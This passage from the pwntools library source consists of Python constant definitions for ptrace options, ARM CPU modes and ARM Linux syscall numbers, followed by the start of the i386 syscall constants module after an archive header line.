Constant('PTRACE_O_TRACEFORK',0x00000002) PTRACE_O_TRACEVFORK = Constant('PTRACE_O_TRACEVFORK',0x00000004) PTRACE_O_TRACECLONE = Constant('PTRACE_O_TRACECLONE',0x00000008) PTRACE_O_TRACEEXEC = Constant('PTRACE_O_TRACEEXEC',0x00000010) PTRACE_O_TRACEVFORKDONE = Constant('PTRACE_O_TRACEVFORKDONE',0x00000020) PTRACE_O_TRACEEXIT = Constant('PTRACE_O_TRACEEXIT',0x00000040) PTRACE_O_MASK = Constant('PTRACE_O_MASK',0x0000007f) PTRACE_EVENT_FORK = Constant('PTRACE_EVENT_FORK',1) PTRACE_EVENT_VFORK = Constant('PTRACE_EVENT_VFORK',2) PTRACE_EVENT_CLONE = Constant('PTRACE_EVENT_CLONE',3) PTRACE_EVENT_EXEC = Constant('PTRACE_EVENT_EXEC',4) PTRACE_EVENT_VFORK_DONE = Constant('PTRACE_EVENT_VFORK_DONE',5) PTRACE_EVENT_EXIT = Constant('PTRACE_EVENT_EXIT',6) PT_TRACE_ME = Constant('PT_TRACE_ME',0) PT_READ_I = Constant('PT_READ_I',1) PT_READ_D = Constant('PT_READ_D',2) PT_READ_U = Constant('PT_READ_U',3) PT_WRITE_I = Constant('PT_WRITE_I',4) PT_WRITE_D = Constant('PT_WRITE_D',5) PT_WRITE_U = Constant('PT_WRITE_U',6) PT_CONTINUE = Constant('PT_CONTINUE',7) PT_KILL = Constant('PT_KILL',8) PT_STEP = Constant('PT_STEP',9) PT_ATTACH = Constant('PT_ATTACH',0x10) PT_DETACH = Constant('PT_DETACH',0x11) USR26_MODE = Constant('USR26_MODE',0x00) FIQ26_MODE = Constant('FIQ26_MODE',0x01) IRQ26_MODE = Constant('IRQ26_MODE',0x02) SVC26_MODE = Constant('SVC26_MODE',0x03) USR_MODE = Constant('USR_MODE',0x10) FIQ_MODE = Constant('FIQ_MODE',0x11) IRQ_MODE = Constant('IRQ_MODE',0x12) SVC_MODE = Constant('SVC_MODE',0x13) ABT_MODE = Constant('ABT_MODE',0x17) UND_MODE = Constant('UND_MODE',0x1b) SYSTEM_MODE = Constant('SYSTEM_MODE',0x1f) MODE_MASK = Constant('MODE_MASK',0x1f) T_BIT = Constant('T_BIT',0x20) F_BIT = Constant('F_BIT',0x40) I_BIT = Constant('I_BIT',0x80) CC_V_BIT = Constant('CC_V_BIT',(1 << 28)) CC_C_BIT = Constant('CC_C_BIT',(1 << 29)) CC_Z_BIT = Constant('CC_Z_BIT',(1 << 30)) CC_N_BIT = Constant('CC_N_BIT',(1 << 31)) PCMASK = Constant('PCMASK',0) SYS_accept = Constant('SYS_accept',(0+285)) SYS_accept4 = Constant('SYS_accept4',(0+366)) SYS_access = Constant('SYS_access',(0+ 33)) SYS_acct = Constant('SYS_acct',(0+ 51)) SYS_add_key = Constant('SYS_add_key',(0+309)) SYS_adjtimex = Constant('SYS_adjtimex',(0+124)) SYS_alarm = Constant('SYS_alarm',(0+ 27)) SYS_arm_fadvise64_64 = Constant('SYS_arm_fadvise64_64',(0+270)) SYS_arm_sync_file_range = Constant('SYS_arm_sync_file_range',(0+341)) SYS_bdflush = Constant('SYS_bdflush',(0+134)) SYS_bind = Constant('SYS_bind',(0+282)) SYS_bpf = Constant('SYS_bpf',(0+386)) SYS_brk = Constant('SYS_brk',(0+ 45)) SYS_capget = Constant('SYS_capget',(0+184)) SYS_capset = Constant('SYS_capset',(0+185)) SYS_chdir = Constant('SYS_chdir',(0+ 12)) SYS_chmod = Constant('SYS_chmod',(0+ 15)) SYS_chown = Constant('SYS_chown',(0+182)) SYS_chown32 = Constant('SYS_chown32',(0+212)) SYS_chroot = Constant('SYS_chroot',(0+ 61)) SYS_clock_adjtime = Constant('SYS_clock_adjtime',(0+372)) SYS_clock_adjtime64 = Constant('SYS_clock_adjtime64',(0 + 405)) SYS_clock_getres = Constant('SYS_clock_getres',(0+264)) SYS_clock_getres_time64 = Constant('SYS_clock_getres_time64',(0 + 406)) SYS_clock_gettime = Constant('SYS_clock_gettime',(0+263)) SYS_clock_gettime64 = Constant('SYS_clock_gettime64',(0 + 403)) SYS_clock_nanosleep = Constant('SYS_clock_nanosleep',(0+265)) SYS_clock_nanosleep_time64 = Constant('SYS_clock_nanosleep_time64',(0 + 407)) SYS_clock_settime = Constant('SYS_clock_settime',(0+262)) SYS_clock_settime64 = Constant('SYS_clock_settime64',(0 + 404)) SYS_clone = Constant('SYS_clone',(0+120)) SYS_clone3 = Constant('SYS_clone3',(0 + 435)) SYS_close = Constant('SYS_close',(0+ 6)) SYS_connect = Constant('SYS_connect',(0+283)) SYS_copy_file_range = Constant('SYS_copy_file_range',(0+391)) SYS_creat = Constant('SYS_creat',(0+ 8)) SYS_delete_module = Constant('SYS_delete_module',(0+129)) SYS_dup = Constant('SYS_dup',(0+ 41)) SYS_dup2 = Constant('SYS_dup2',(0+ 63)) SYS_dup3 = Constant('SYS_dup3',(0+358)) SYS_epoll_create = Constant('SYS_epoll_create',(0+250)) SYS_epoll_create1 = Constant('SYS_epoll_create1',(0+357)) SYS_epoll_ctl = Constant('SYS_epoll_ctl',(0+251)) SYS_epoll_wait = Constant('SYS_epoll_wait',(0+252)) SYS_eventfd = Constant('SYS_eventfd',(0+351)) SYS_eventfd2 = Constant('SYS_eventfd2',(0+356)) SYS_execve = Constant('SYS_execve',(0+ 11)) SYS_execveat = Constant('SYS_execveat',(0+387)) SYS_exit = Constant('SYS_exit',(0+ 1)) SYS_exit_group = Constant('SYS_exit_group',(0+248)) SYS_faccessat = Constant('SYS_faccessat',(0+334)) SYS_fallocate = Constant('SYS_fallocate',(0+352)) SYS_fanotify_init = Constant('SYS_fanotify_init',(0+367)) SYS_fanotify_mark = Constant('SYS_fanotify_mark',(0+368)) SYS_fchdir = Constant('SYS_fchdir',(0+133)) SYS_fchmod = Constant('SYS_fchmod',(0+ 94)) SYS_fchmodat = Constant('SYS_fchmodat',(0+333)) SYS_fchown = Constant('SYS_fchown',(0+ 95)) SYS_fchown32 = Constant('SYS_fchown32',(0+207)) SYS_fchownat = Constant('SYS_fchownat',(0+325)) SYS_fcntl = Constant('SYS_fcntl',(0+ 55)) SYS_fcntl64 = Constant('SYS_fcntl64',(0+221)) SYS_fdatasync = Constant('SYS_fdatasync',(0+148)) SYS_fgetxattr = Constant('SYS_fgetxattr',(0+231)) SYS_finit_module = Constant('SYS_finit_module',(0+379)) SYS_flistxattr = Constant('SYS_flistxattr',(0+234)) SYS_flock = Constant('SYS_flock',(0+143)) SYS_fork = Constant('SYS_fork',(0+ 2)) SYS_fremovexattr = Constant('SYS_fremovexattr',(0+237)) SYS_fsconfig = Constant('SYS_fsconfig',(0 + 431)) SYS_fsetxattr = Constant('SYS_fsetxattr',(0+228)) SYS_fsmount = Constant('SYS_fsmount',(0 + 432)) SYS_fsopen = Constant('SYS_fsopen',(0 + 430)) SYS_fspick = Constant('SYS_fspick',(0 + 433)) SYS_fstat = Constant('SYS_fstat',(0+108)) SYS_fstat64 = Constant('SYS_fstat64',(0+197)) SYS_fstatat64 = Constant('SYS_fstatat64',(0+327)) SYS_fstatfs = Constant('SYS_fstatfs',(0+100)) SYS_fstatfs64 = Constant('SYS_fstatfs64',(0+267)) SYS_fsync = Constant('SYS_fsync',(0+118)) SYS_ftruncate = Constant('SYS_ftruncate',(0+ 93)) SYS_ftruncate64 = Constant('SYS_ftruncate64',(0+194)) SYS_futex = Constant('SYS_futex',(0+240)) SYS_futex_time64 = Constant('SYS_futex_time64',(0 + 422)) SYS_futimesat = Constant('SYS_futimesat',(0+326)) SYS_getcpu = Constant('SYS_getcpu',(0+345)) SYS_getcwd = Constant('SYS_getcwd',(0+183)) SYS_getdents = Constant('SYS_getdents',(0+141)) SYS_getdents64 = Constant('SYS_getdents64',(0+217)) SYS_getegid = Constant('SYS_getegid',(0+ 50)) SYS_getegid32 = Constant('SYS_getegid32',(0+202)) SYS_geteuid = Constant('SYS_geteuid',(0+ 49)) SYS_geteuid32 = Constant('SYS_geteuid32',(0+201)) SYS_getgid = Constant('SYS_getgid',(0+ 47)) SYS_getgid32 = Constant('SYS_getgid32',(0+200)) SYS_getgroups = Constant('SYS_getgroups',(0+ 80)) SYS_getgroups32 = Constant('SYS_getgroups32',(0+205)) SYS_getitimer = Constant('SYS_getitimer',(0+105)) SYS_get_mempolicy = Constant('SYS_get_mempolicy',(0+320)) SYS_getpeername = Constant('SYS_getpeername',(0+287)) SYS_getpgid = Constant('SYS_getpgid',(0+132)) SYS_getpgrp = Constant('SYS_getpgrp',(0+ 65)) SYS_getpid = Constant('SYS_getpid',(0+ 20)) SYS_getppid = Constant('SYS_getppid',(0+ 64)) SYS_getpriority = Constant('SYS_getpriority',(0+ 96)) SYS_getrandom = Constant('SYS_getrandom',(0+384)) SYS_getresgid = Constant('SYS_getresgid',(0+171)) SYS_getresgid32 = Constant('SYS_getresgid32',(0+211)) SYS_getresuid = Constant('SYS_getresuid',(0+165)) SYS_getresuid32 = Constant('SYS_getresuid32',(0+209)) SYS_getrlimit = Constant('SYS_getrlimit',(0+ 76)) SYS_get_robust_list = Constant('SYS_get_robust_list',(0+339)) SYS_getrusage = Constant('SYS_getrusage',(0+ 77)) SYS_getsid = Constant('SYS_getsid',(0+147)) SYS_getsockname = Constant('SYS_getsockname',(0+286)) SYS_getsockopt = Constant('SYS_getsockopt',(0+295)) SYS_gettid = Constant('SYS_gettid',(0+224)) SYS_gettimeofday = Constant('SYS_gettimeofday',(0+ 78)) SYS_getuid = Constant('SYS_getuid',(0+ 24)) SYS_getuid32 = Constant('SYS_getuid32',(0+199)) SYS_getxattr = Constant('SYS_getxattr',(0+229)) SYS_init_module = Constant('SYS_init_module',(0+128)) SYS_inotify_add_watch = Constant('SYS_inotify_add_watch',(0+317)) SYS_inotify_init = Constant('SYS_inotify_init',(0+316)) SYS_inotify_init1 = Constant('SYS_inotify_init1',(0+360)) SYS_inotify_rm_watch = Constant('SYS_inotify_rm_watch',(0+318)) SYS_io_cancel = Constant('SYS_io_cancel',(0+247)) SYS_ioctl = Constant('SYS_ioctl',(0+ 54)) SYS_io_destroy = Constant('SYS_io_destroy',(0+244)) SYS_io_getevents = Constant('SYS_io_getevents',(0+245)) SYS_io_pgetevents = Constant('SYS_io_pgetevents',(0 + 399)) SYS_io_pgetevents_time64 = Constant('SYS_io_pgetevents_time64',(0 + 416)) SYS_ioprio_get = Constant('SYS_ioprio_get',(0+315)) SYS_ioprio_set = Constant('SYS_ioprio_set',(0+314)) SYS_io_setup = Constant('SYS_io_setup',(0+243)) SYS_io_submit = Constant('SYS_io_submit',(0+246)) SYS_io_uring_enter = Constant('SYS_io_uring_enter',(0 + 426)) SYS_io_uring_register = Constant('SYS_io_uring_register',(0 + 427)) SYS_io_uring_setup = Constant('SYS_io_uring_setup',(0 + 425)) SYS_ipc = Constant('SYS_ipc',(0+117)) SYS_kcmp = Constant('SYS_kcmp',(0+378)) SYS_kexec_file_load = Constant('SYS_kexec_file_load',(0 + 401)) SYS_kexec_load = Constant('SYS_kexec_load',(0+347)) SYS_keyctl = Constant('SYS_keyctl',(0+311)) SYS_kill = Constant('SYS_kill',(0+ 37)) SYS_lchown = Constant('SYS_lchown',(0+ 16)) SYS_lchown32 = Constant('SYS_lchown32',(0+198)) SYS_lgetxattr = Constant('SYS_lgetxattr',(0+230)) SYS_link = Constant('SYS_link',(0+ 9)) SYS_linkat = Constant('SYS_linkat',(0+330)) SYS_listen = Constant('SYS_listen',(0+284)) SYS_listxattr = Constant('SYS_listxattr',(0+232)) SYS_llistxattr = Constant('SYS_llistxattr',(0+233)) SYS__llseek = Constant('SYS__llseek',(0+140)) SYS_lookup_dcookie = Constant('SYS_lookup_dcookie',(0+249)) SYS_lremovexattr = Constant('SYS_lremovexattr',(0+236)) SYS_lseek = Constant('SYS_lseek',(0+ 19)) SYS_lsetxattr = Constant('SYS_lsetxattr',(0+227)) SYS_lstat = Constant('SYS_lstat',(0+107)) SYS_lstat64 = Constant('SYS_lstat64',(0+196)) SYS_madvise = Constant('SYS_madvise',(0+220)) SYS_mbind = Constant('SYS_mbind',(0+319)) SYS_membarrier = Constant('SYS_membarrier',(0+389)) SYS_memfd_create = Constant('SYS_memfd_create',(0+385)) SYS_migrate_pages = Constant('SYS_migrate_pages',(0 + 400)) SYS_mincore = Constant('SYS_mincore',(0+219)) SYS_mkdir = Constant('SYS_mkdir',(0+ 39)) SYS_mkdirat = Constant('SYS_mkdirat',(0+323)) SYS_mknod = Constant('SYS_mknod',(0+ 14)) SYS_mknodat = Constant('SYS_mknodat',(0+324)) SYS_mlock = Constant('SYS_mlock',(0+150)) SYS_mlock2 = Constant('SYS_mlock2',(0+390)) SYS_mlockall = Constant('SYS_mlockall',(0+152)) SYS_mmap = Constant('SYS_mmap',(0+ 90)) SYS_mmap2 = Constant('SYS_mmap2',(0+192)) SYS_mount = Constant('SYS_mount',(0+ 21)) SYS_move_mount = Constant('SYS_move_mount',(0 + 429)) SYS_move_pages = Constant('SYS_move_pages',(0+344)) SYS_mprotect = Constant('SYS_mprotect',(0+125)) SYS_mq_getsetattr = Constant('SYS_mq_getsetattr',(0+279)) SYS_mq_notify = Constant('SYS_mq_notify',(0+278)) SYS_mq_open = Constant('SYS_mq_open',(0+274)) SYS_mq_timedreceive = Constant('SYS_mq_timedreceive',(0+277)) SYS_mq_timedreceive_time64 = Constant('SYS_mq_timedreceive_time64',(0 + 419)) SYS_mq_timedsend = Constant('SYS_mq_timedsend',(0+276)) SYS_mq_timedsend_time64 = Constant('SYS_mq_timedsend_time64',(0 + 418)) SYS_mq_unlink = Constant('SYS_mq_unlink',(0+275)) SYS_mremap = Constant('SYS_mremap',(0+163)) SYS_msgctl = Constant('SYS_msgctl',(0+304)) SYS_msgget = Constant('SYS_msgget',(0+303)) SYS_msgrcv = Constant('SYS_msgrcv',(0+302)) SYS_msgsnd = Constant('SYS_msgsnd',(0+301)) SYS_msync = Constant('SYS_msync',(0+144)) SYS_munlock = Constant('SYS_munlock',(0+151)) SYS_munlockall = Constant('SYS_munlockall',(0+153)) SYS_munmap = Constant('SYS_munmap',(0+ 91)) SYS_name_to_handle_at = Constant('SYS_name_to_handle_at',(0+370)) SYS_nanosleep = Constant('SYS_nanosleep',(0+162)) SYS__newselect = Constant('SYS__newselect',(0+142)) SYS_nfsservctl = Constant('SYS_nfsservctl',(0+169)) SYS_nice = Constant('SYS_nice',(0+ 34)) SYS_OABI_SYSCALL_BASE = Constant('SYS_OABI_SYSCALL_BASE',0x900000) SYS_open = Constant('SYS_open',(0+ 5)) SYS_openat = Constant('SYS_openat',(0+322)) SYS_openat2 = Constant('SYS_openat2',(0 + 437)) SYS_open_by_handle_at = Constant('SYS_open_by_handle_at',(0+371)) SYS_open_tree = Constant('SYS_open_tree',(0 + 428)) SYS_pause = Constant('SYS_pause',(0+ 29)) SYS_pciconfig_iobase = Constant('SYS_pciconfig_iobase',(0+271)) SYS_pciconfig_read = Constant('SYS_pciconfig_read',(0+272)) SYS_pciconfig_write = Constant('SYS_pciconfig_write',(0+273)) SYS_perf_event_open = Constant('SYS_perf_event_open',(0+364)) SYS_personality = Constant('SYS_personality',(0+136)) SYS_pidfd_getfd = Constant('SYS_pidfd_getfd',(0 + 438)) SYS_pidfd_open = Constant('SYS_pidfd_open',(0 + 434)) SYS_pidfd_send_signal = Constant('SYS_pidfd_send_signal',(0 + 424)) SYS_pipe = Constant('SYS_pipe',(0+ 42)) SYS_pipe2 = Constant('SYS_pipe2',(0+359)) SYS_pivot_root = Constant('SYS_pivot_root',(0+218)) SYS_pkey_alloc = Constant('SYS_pkey_alloc',(0 + 395)) SYS_pkey_free = Constant('SYS_pkey_free',(0 + 396)) SYS_pkey_mprotect = Constant('SYS_pkey_mprotect',(0 + 394)) SYS_poll = Constant('SYS_poll',(0+168)) SYS_ppoll_time64 = Constant('SYS_ppoll_time64',(0 + 414)) SYS_prctl = Constant('SYS_prctl',(0+172)) SYS_pread64 = Constant('SYS_pread64',(0+180)) SYS_preadv = Constant('SYS_preadv',(0+361)) SYS_preadv2 = Constant('SYS_preadv2',(0+392)) SYS_prlimit64 = Constant('SYS_prlimit64',(0+369)) SYS_process_vm_readv = Constant('SYS_process_vm_readv',(0+376)) SYS_process_vm_writev = Constant('SYS_process_vm_writev',(0+377)) SYS_pselect6_time64 = Constant('SYS_pselect6_time64',(0 + 413)) SYS_ptrace = Constant('SYS_ptrace',(0+ 26)) SYS_pwrite64 = Constant('SYS_pwrite64',(0+181)) SYS_pwritev = Constant('SYS_pwritev',(0+362)) SYS_pwritev2 = Constant('SYS_pwritev2',(0+393)) SYS_quotactl = Constant('SYS_quotactl',(0+131)) SYS_read = Constant('SYS_read',(0+ 3)) SYS_readahead = Constant('SYS_readahead',(0+225)) SYS_readdir = Constant('SYS_readdir',(0+ 89)) SYS_readlink = Constant('SYS_readlink',(0+ 85)) SYS_readlinkat = Constant('SYS_readlinkat',(0+332)) SYS_readv = Constant('SYS_readv',(0+145)) SYS_reboot = Constant('SYS_reboot',(0+ 88)) SYS_recv = Constant('SYS_recv',(0+291)) SYS_recvfrom = Constant('SYS_recvfrom',(0+292)) SYS_recvmmsg = Constant('SYS_recvmmsg',(0+365)) SYS_recvmmsg_time64 = Constant('SYS_recvmmsg_time64',(0 + 417)) SYS_recvmsg = Constant('SYS_recvmsg',(0+297)) SYS_remap_file_pages = Constant('SYS_remap_file_pages',(0+253)) SYS_removexattr = Constant('SYS_removexattr',(0+235)) SYS_rename = Constant('SYS_rename',(0+ 38)) SYS_renameat = Constant('SYS_renameat',(0+329)) SYS_renameat2 = Constant('SYS_renameat2',(0+382)) SYS_request_key = Constant('SYS_request_key',(0+310)) SYS_restart_syscall = Constant('SYS_restart_syscall',(0+ 0)) SYS_rmdir = Constant('SYS_rmdir',(0+ 40)) SYS_rseq = Constant('SYS_rseq',(0 + 398)) SYS_rt_sigaction = Constant('SYS_rt_sigaction',(0+174)) SYS_rt_sigpending = Constant('SYS_rt_sigpending',(0+176)) SYS_rt_sigprocmask = Constant('SYS_rt_sigprocmask',(0+175)) SYS_rt_sigqueueinfo = Constant('SYS_rt_sigqueueinfo',(0+178)) SYS_rt_sigreturn = Constant('SYS_rt_sigreturn',(0+173)) SYS_rt_sigsuspend = Constant('SYS_rt_sigsuspend',(0+179)) SYS_rt_sigtimedwait = Constant('SYS_rt_sigtimedwait',(0+177)) SYS_rt_sigtimedwait_time64 = Constant('SYS_rt_sigtimedwait_time64',(0 + 421)) SYS_rt_tgsigqueueinfo = Constant('SYS_rt_tgsigqueueinfo',(0+363)) SYS_sched_getaffinity = Constant('SYS_sched_getaffinity',(0+242)) SYS_sched_getattr = Constant('SYS_sched_getattr',(0+381)) SYS_sched_getparam = Constant('SYS_sched_getparam',(0+155)) SYS_sched_get_priority_max = Constant('SYS_sched_get_priority_max',(0+159)) SYS_sched_get_priority_min = Constant('SYS_sched_get_priority_min',(0+160)) SYS_sched_getscheduler = Constant('SYS_sched_getscheduler',(0+157)) SYS_sched_rr_get_interval = Constant('SYS_sched_rr_get_interval',(0+161)) SYS_sched_rr_get_interval_time64 = Constant('SYS_sched_rr_get_interval_time64',(0 + 423)) SYS_sched_setaffinity = Constant('SYS_sched_setaffinity',(0+241)) SYS_sched_setattr = Constant('SYS_sched_setattr',(0+380)) SYS_sched_setparam = Constant('SYS_sched_setparam',(0+154)) SYS_sched_setscheduler = Constant('SYS_sched_setscheduler',(0+156)) SYS_sched_yield = Constant('SYS_sched_yield',(0+158)) SYS_seccomp = Constant('SYS_seccomp',(0+383)) SYS_select = Constant('SYS_select',(0+ 82)) SYS_semctl = Constant('SYS_semctl',(0+300)) SYS_semget = Constant('SYS_semget',(0+299)) SYS_semop = Constant('SYS_semop',(0+298)) SYS_semtimedop = Constant('SYS_semtimedop',(0+312)) SYS_semtimedop_time64 = Constant('SYS_semtimedop_time64',(0 + 420)) SYS_send = Constant('SYS_send',(0+289)) SYS_sendfile = Constant('SYS_sendfile',(0+187)) SYS_sendfile64 = Constant('SYS_sendfile64',(0+239)) SYS_sendmmsg = Constant('SYS_sendmmsg',(0+374)) SYS_sendmsg = Constant('SYS_sendmsg',(0+296)) SYS_sendto = Constant('SYS_sendto',(0+290)) SYS_setdomainname = Constant('SYS_setdomainname',(0+121)) SYS_setfsgid = Constant('SYS_setfsgid',(0+139)) SYS_setfsgid32 = Constant('SYS_setfsgid32',(0+216)) SYS_setfsuid = Constant('SYS_setfsuid',(0+138)) SYS_setfsuid32 = Constant('SYS_setfsuid32',(0+215)) SYS_setgid = Constant('SYS_setgid',(0+ 46)) SYS_setgid32 = Constant('SYS_setgid32',(0+214)) SYS_setgroups = Constant('SYS_setgroups',(0+ 81)) SYS_setgroups32 = Constant('SYS_setgroups32',(0+206)) SYS_sethostname = Constant('SYS_sethostname',(0+ 74)) SYS_setitimer = Constant('SYS_setitimer',(0+104)) SYS_set_mempolicy = Constant('SYS_set_mempolicy',(0+321)) SYS_setns = Constant('SYS_setns',(0+375)) SYS_setpgid = Constant('SYS_setpgid',(0+ 57)) SYS_setpriority = Constant('SYS_setpriority',(0+ 97)) SYS_setregid = Constant('SYS_setregid',(0+ 71)) SYS_setregid32 = Constant('SYS_setregid32',(0+204)) SYS_setresgid = Constant('SYS_setresgid',(0+170)) SYS_setresgid32 = Constant('SYS_setresgid32',(0+210)) SYS_setresuid = Constant('SYS_setresuid',(0+164)) SYS_setresuid32 = Constant('SYS_setresuid32',(0+208)) SYS_setreuid = Constant('SYS_setreuid',(0+ 70)) SYS_setreuid32 = Constant('SYS_setreuid32',(0+203)) SYS_setrlimit = Constant('SYS_setrlimit',(0+ 75)) SYS_set_robust_list = Constant('SYS_set_robust_list',(0+338)) SYS_setsid = Constant('SYS_setsid',(0+ 66)) SYS_setsockopt = Constant('SYS_setsockopt',(0+294)) SYS_set_tid_address = Constant('SYS_set_tid_address',(0+256)) SYS_settimeofday = Constant('SYS_settimeofday',(0+ 79)) SYS_setuid = Constant('SYS_setuid',(0+ 23)) SYS_setuid32 = Constant('SYS_setuid32',(0+213)) SYS_setxattr = Constant('SYS_setxattr',(0+226)) SYS_shmat = Constant('SYS_shmat',(0+305)) SYS_shmctl = Constant('SYS_shmctl',(0+308)) SYS_shmdt = Constant('SYS_shmdt',(0+306)) SYS_shmget = Constant('SYS_shmget',(0+307)) SYS_shutdown = Constant('SYS_shutdown',(0+293)) SYS_sigaction = Constant('SYS_sigaction',(0+ 67)) SYS_sigaltstack = Constant('SYS_sigaltstack',(0+186)) SYS_signalfd = Constant('SYS_signalfd',(0+349)) SYS_signalfd4 = Constant('SYS_signalfd4',(0+355)) SYS_sigpending = Constant('SYS_sigpending',(0+ 73)) SYS_sigprocmask = Constant('SYS_sigprocmask',(0+126)) SYS_sigreturn = Constant('SYS_sigreturn',(0+119)) SYS_sigsuspend = Constant('SYS_sigsuspend',(0+ 72)) SYS_socket = Constant('SYS_socket',(0+281)) SYS_socketcall = Constant('SYS_socketcall',(0+102)) SYS_socketpair = Constant('SYS_socketpair',(0+288)) SYS_splice = Constant('SYS_splice',(0+340)) SYS_stat = Constant('SYS_stat',(0+106)) SYS_stat64 = Constant('SYS_stat64',(0+195)) SYS_statfs = Constant('SYS_statfs',(0+ 99)) SYS_statfs64 = Constant('SYS_statfs64',(0+266)) SYS_statx = Constant('SYS_statx',(0 + 397)) SYS_stime = Constant('SYS_stime',(0+ 25)) SYS_swapoff = Constant('SYS_swapoff',(0+115)) SYS_swapon = Constant('SYS_swapon',(0+ 87)) SYS_symlink = Constant('SYS_symlink',(0+ 83)) SYS_symlinkat = Constant('SYS_symlinkat',(0+331)) SYS_sync = Constant('SYS_sync',(0+ 36)) SYS_syncfs = Constant('SYS_syncfs',(0+373)) SYS_syscall = Constant('SYS_syscall',(0+113)) SYS_SYSCALL_BASE = Constant('SYS_SYSCALL_BASE',0) SYS__sysctl = Constant('SYS__sysctl',(0+149)) SYS_sysfs = Constant('SYS_sysfs',(0+135)) SYS_sysinfo = Constant('SYS_sysinfo',(0+116)) SYS_syslog = Constant('SYS_syslog',(0+103)) SYS_tee = Constant('SYS_tee',(0+342)) SYS_tgkill = Constant('SYS_tgkill',(0+268)) SYS_time = Constant('SYS_time',(0+ 13)) SYS_timer_create = Constant('SYS_timer_create',(0+257)) SYS_timer_delete = Constant('SYS_timer_delete',(0+261)) SYS_timerfd = Constant('SYS_timerfd',(0+350)) SYS_timerfd_gettime = Constant('SYS_timerfd_gettime',(0+354)) SYS_timerfd_gettime64 = Constant('SYS_timerfd_gettime64',(0 + 410)) SYS_timerfd_settime = Constant('SYS_timerfd_settime',(0+353)) SYS_timerfd_settime64 = Constant('SYS_timerfd_settime64',(0 + 411)) SYS_timer_getoverrun = Constant('SYS_timer_getoverrun',(0+260)) SYS_timer_gettime = Constant('SYS_timer_gettime',(0+259)) SYS_timer_gettime64 = Constant('SYS_timer_gettime64',(0 + 408)) SYS_timer_settime = Constant('SYS_timer_settime',(0+258)) SYS_timer_settime64 = Constant('SYS_timer_settime64',(0 + 409)) SYS_times = Constant('SYS_times',(0+ 43)) SYS_tkill = Constant('SYS_tkill',(0+238)) SYS_truncate = Constant('SYS_truncate',(0+ 92)) SYS_truncate64 = Constant('SYS_truncate64',(0+193)) SYS_ugetrlimit = Constant('SYS_ugetrlimit',(0+191)) SYS_umask = Constant('SYS_umask',(0+ 60)) SYS_umount = Constant('SYS_umount',(0+ 22)) SYS_umount2 = Constant('SYS_umount2',(0+ 52)) SYS_uname = Constant('SYS_uname',(0+122)) SYS_unlink = Constant('SYS_unlink',(0+ 10)) SYS_unlinkat = Constant('SYS_unlinkat',(0+328)) SYS_unshare = Constant('SYS_unshare',(0+337)) SYS_uselib = Constant('SYS_uselib',(0+ 86)) SYS_userfaultfd = Constant('SYS_userfaultfd',(0+388)) SYS_ustat = Constant('SYS_ustat',(0+ 62)) SYS_utime = Constant('SYS_utime',(0+ 30)) SYS_utimensat = Constant('SYS_utimensat',(0+348)) SYS_utimensat_time64 = Constant('SYS_utimensat_time64',(0 + 412)) SYS_utimes = Constant('SYS_utimes',(0+269)) SYS_vfork = Constant('SYS_vfork',(0+190)) SYS_vhangup = Constant('SYS_vhangup',(0+111)) SYS_vmsplice = Constant('SYS_vmsplice',(0+343)) SYS_vserver = Constant('SYS_vserver',(0+313)) SYS_wait4 = Constant('SYS_wait4',(0+114)) SYS_waitid = Constant('SYS_waitid',(0+280)) SYS_write = Constant('SYS_write',(0+ 4)) SYS_writev = Constant('SYS_writev',(0+146)) Gallopsled-pwntools-3ad86ec/pwnlib/constants/linux/i386.py000066400000000000000000002236451507273764500237270ustar00rootroot00000000000000from pwnlib.constants.constant import Constant __NR_exit = Constant('__NR_exit',1) __NR_fork = Constant('__NR_fork',2) __NR_read = Constant('__NR_read',3) __NR_write = Constant('__NR_write',4) __NR_open = Constant('__NR_open',5) __NR_close = Constant('__NR_close',6) __NR_waitpid = Constant('__NR_waitpid',7) __NR_creat = Constant('__NR_creat',8) __NR_link = Constant('__NR_link',9) __NR_unlink = Constant('__NR_unlink',10) __NR_execve = Constant('__NR_execve',11) __NR_chdir = Constant('__NR_chdir',12) __NR_time = Constant('__NR_time',13) __NR_mknod = Constant('__NR_mknod',14) __NR_chmod = Constant('__NR_chmod',15) __NR_lchown = Constant('__NR_lchown',16) __NR_break = Constant('__NR_break',17) __NR_oldstat = Constant('__NR_oldstat',18) __NR_lseek = Constant('__NR_lseek',19) __NR_getpid = Constant('__NR_getpid',20) __NR_mount = Constant('__NR_mount',21) __NR_umount = Constant('__NR_umount',22) __NR_setuid = Constant('__NR_setuid',23) __NR_getuid = Constant('__NR_getuid',24) __NR_stime = Constant('__NR_stime',25) __NR_ptrace = Constant('__NR_ptrace',26) __NR_alarm = Constant('__NR_alarm',27) __NR_oldfstat = Constant('__NR_oldfstat',28) __NR_pause = Constant('__NR_pause',29) __NR_utime = Constant('__NR_utime',30) __NR_stty = Constant('__NR_stty',31) __NR_gtty = Constant('__NR_gtty',32) __NR_access = Constant('__NR_access',33) __NR_nice = Constant('__NR_nice',34) __NR_ftime = Constant('__NR_ftime',35) __NR_sync = Constant('__NR_sync',36) __NR_kill = Constant('__NR_kill',37) __NR_rename = Constant('__NR_rename',38) __NR_mkdir = Constant('__NR_mkdir',39) __NR_rmdir = Constant('__NR_rmdir',40) __NR_dup = Constant('__NR_dup',41) __NR_pipe = Constant('__NR_pipe',42) __NR_times = Constant('__NR_times',43) __NR_prof = Constant('__NR_prof',44) __NR_brk = Constant('__NR_brk',45) __NR_setgid = Constant('__NR_setgid',46) __NR_getgid = Constant('__NR_getgid',47) __NR_signal = Constant('__NR_signal',48) __NR_geteuid = Constant('__NR_geteuid',49) __NR_getegid = Constant('__NR_getegid',50) __NR_acct = Constant('__NR_acct',51) __NR_umount2 = Constant('__NR_umount2',52) __NR_lock = Constant('__NR_lock',53) __NR_ioctl = Constant('__NR_ioctl',54) __NR_fcntl = Constant('__NR_fcntl',55) __NR_mpx = Constant('__NR_mpx',56) __NR_setpgid = Constant('__NR_setpgid',57) __NR_ulimit = Constant('__NR_ulimit',58) __NR_oldolduname = Constant('__NR_oldolduname',59) __NR_umask = Constant('__NR_umask',60) __NR_chroot = Constant('__NR_chroot',61) __NR_ustat = Constant('__NR_ustat',62) __NR_dup2 = Constant('__NR_dup2',63) __NR_getppid = Constant('__NR_getppid',64) __NR_getpgrp = Constant('__NR_getpgrp',65) __NR_setsid = Constant('__NR_setsid',66) __NR_sigaction = Constant('__NR_sigaction',67) __NR_sgetmask = Constant('__NR_sgetmask',68) __NR_ssetmask = Constant('__NR_ssetmask',69) __NR_setreuid = Constant('__NR_setreuid',70) __NR_setregid = Constant('__NR_setregid',71) 